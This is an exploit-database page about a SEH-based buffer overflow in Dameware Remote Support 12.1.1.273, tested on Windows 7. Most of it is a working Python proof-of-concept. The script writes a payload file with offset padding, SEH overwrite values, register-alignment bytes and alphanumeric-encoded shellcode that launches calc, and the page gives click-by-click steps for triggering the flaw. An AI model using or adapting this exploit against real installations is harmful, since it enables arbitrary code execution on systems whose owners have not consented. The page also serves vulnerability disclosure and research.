Dameware Remote Support 12.1.1.273 - Buffer Overflow (SEH)

vendor:

Dameware Remote Support

by:

gurbanli

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Dameware Remote Support

Affected Version From: 12.1.1.273

Affected Version To: 12.1.1.273

Patch Exists: NO

Related CWE:

CPE: a:solarwinds:dameware_remote_support:12.1.1.273

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 x86

2020

Dameware Remote Support 12.1.1.273 – Buffer Overflow (SEH)

This exploit allows arbitrary code execution in Dameware Remote Support version 12.1.1.273. By providing a specially crafted payload, an attacker can trigger a buffer overflow and gain control of the system. The exploit has been tested on Windows 7 x86.

Mitigation:

Update Dameware Remote Support to a non-vulnerable version.

Source

Exploit-DB raw data:

# Exploit Title: Dameware Remote Support 12.1.1.273 - Buffer Overflow (SEH)
# Exploit Author: gurbanli
# Date: 2020-05-13
# Vulnerable Software: Solarwinds Dameware Remote Support 12.1.1.273
# Vendor Homepage: https://www.solarwinds.com/
# Version: 12.1.1.273
# Software Link: https://downloads.solarwinds.com/solarwinds/Release/DameWare/v12.1.1/DamewareRS-St.exe
# Tested on: Windows 7 x86

"""
poc
1. Run exploit and copy contents of payload.txt
2. Open Dameware Remote Support
3. Click Add active directory support
4. Write any ip address in name or ip address field
5. paste payload .txt content to display name field and click ok
6. Click ok when error pops up
7. Click Yes in dialog box
8. calc pops up

Actually, i cant create this exploit with reliable exit, that's why calculator will be executed in background lol :D . but it is not big issue, the main thing is that arbitary code is executed 
"""


file = open('payload.txt','w')

max_length = 3604


padding_until_eax = '\x6e\x41' * 57 + '\x6e'
align_eax = (
"\x41" # padding (one byte)
"\x6e" # padding
"\x05\x14\x11" # add eax,11001400
"\x6e" # padding
"\x2d\x13\x11" # sub eax,11001300
)

'''
msfvenom -p windows/exec cmd=calc -f raw > shellcode.raw
./alpha2 eax --unicode --uppercase < shellcode.raw
'''

shellcode = 'PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYXDBKPM0KPS0TIYUNQGPC4TKPPNPDK0RLLTK0RMDTKT2MXLO870JNF01KOFLOLQQSLLBNLMP7Q8OLMM1I7YRL22227DKR2LP4KOZOLTKPLLQRX9SQ8KQHQPQTKPYMPKQJ34KOYLXK3NZQ94KP44KKQXV01KOVLGQ8OLMKQ7WOHIPSEKFM3CML8OKSMMTRUK428DKPXMTM1HSC6TKLLPKTK0XMLKQYCTKKTTKM18PSYPDMTMT1KQK1QPYQJPQKOYPQO1O1J4KLRJKTM1MRJM1DMDEVRKPKPKPPPS8NQTK2OE7KOXUGKJPVUW2PVBH76EEGMUMKO9EOLKV3LLJCPKKK0RULEGKOWLS42RO1ZKPQCKOXUS3QQRL33KPA'



'''
ppr address 00b3007e (DNTU.exe)
'''

nSEH = '\x61\x6e' # unicode compatible padding
SEH = '\x7e\xb3'

payload = 'A' * 1764 + nSEH + SEH + align_eax + padding_until_eax + shellcode
payload += 'A' * (max_length-len(payload))

print('Payload length:{}'.format(len(payload)))

file.write(payload)
file.close()